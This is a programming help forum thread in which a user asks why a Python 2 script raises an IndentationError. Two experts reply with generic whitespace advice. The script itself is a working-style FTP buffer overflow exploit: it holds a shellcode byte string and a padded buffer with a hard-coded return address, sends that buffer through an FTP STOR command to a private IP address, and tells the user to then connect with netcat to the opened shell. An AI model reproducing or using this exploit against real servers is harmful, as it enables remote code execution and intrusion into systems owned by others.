Solved

HELP unexpected indent error python

Posted on 2011-09-29
3
798 Views
Last Modified: 2013-11-13
Hello,
I am  learning python, but I have a  problem, I am trying to run a  python script, but I cannot  get it done. it seems  that there is  a  problem with  an   IndentationError: unexpected indent error, just before  the  except:  block.

I have  searched and  found that it might be  a  missing colon, I have  tried  several  options, but  I not able  to  find  where the problem is,

Can  anyone  help me?, any  advice please...

this is  the script:

import ftplib
from ftplib import FTP
import struct
print "\n\n################################"
print "###################################"

# Shellcode

sc = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x74"
"\x59\x14\x73\x83\xeb\xfc\xe2\xf4\x88\x33\xff\x3e\x9c\xa0\xeb\x8c"
"\xff\x0e\xe8\xf0\xb0\x3d\xeb\xa5\x26\xa6\xc4\x1b\x84\xd3\x10\x2c"
"\x27\xa6\xc2\x8c\xa4\x59\x14\x73";

buffer = '\x41'*966+struct.pack('<L', 0x77DF2740)+'\x42'*32+sc

try:


 ftp=FTP('192.168.13.54')
 ftp.login('ftp','ftp')
 print "\Try connecting with netcat."
 except:
 print "\nCould not Connect to FTP Server."
 try:
 ftp.transfercmd("STOR " + buffer)

 except:
 print "\nDone."

//////////***********************////////////
brown@:~#python ftpshell.py
  File "ftpshell.py", line
    except:
    ^
IndentationError: unexpected indent
0
Comment
Question by:Blkmbm9
3 Comments
 
LVL 31

Expert Comment

by:farzanj
ID: 36818835
Python is very indentation and white space sensitive.

Remove the spaces/tab in front of except:
0
 
LVL 2

Accepted Solution

by:
xeltek earned 250 total points
ID: 36819047
Hi,
Whitespace and tab are significant in Python code.

There is a tool in your Python installation. You can find a Q/A here for more information.
http://stackoverflow.com/questions/1024435/howto-fix-python-indentation
0
 

Author Closing Comment

by:Blkmbm9
ID: 36892105
Thank you  so much!
0

Featured Post

Better Security Awareness With Threat Intelligence

See how one of the leading financial services organizations uses Recorded Future as part of a holistic threat intelligence program to promote security awareness and proactively and efficiently identify threats.

Join & Write a Comment

Suggested Solutions

Title # Comments Views Activity
mapBully challenge 6 93
Python Assistance 7 36
oracle query help 18 78
how to split this type of line? 5 57
This article will show, step by step, how to integrate R code into a R Sweave document
Whether you've completed a degree in computer sciences or you're a self-taught programmer, writing your first lines of code in the real world is always a challenge. Here are some of the most common pitfalls for new programmers.
Learn the basics of if, else, and elif statements in Python 2.7. Use "if" statements to test a specified condition.: The structure of an if statement is as follows: (CODE) Use "else" statements to allow the execution of an alternative, if the …
In this seventh video of the Xpdf series, we discuss and demonstrate the PDFfonts utility, which lists all the fonts used in a PDF file. It does this via a command line interface, making it suitable for use in programs, scripts, batch files — any pl…

743 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

11 Experts available now in Live!

Get 1:1 Help Now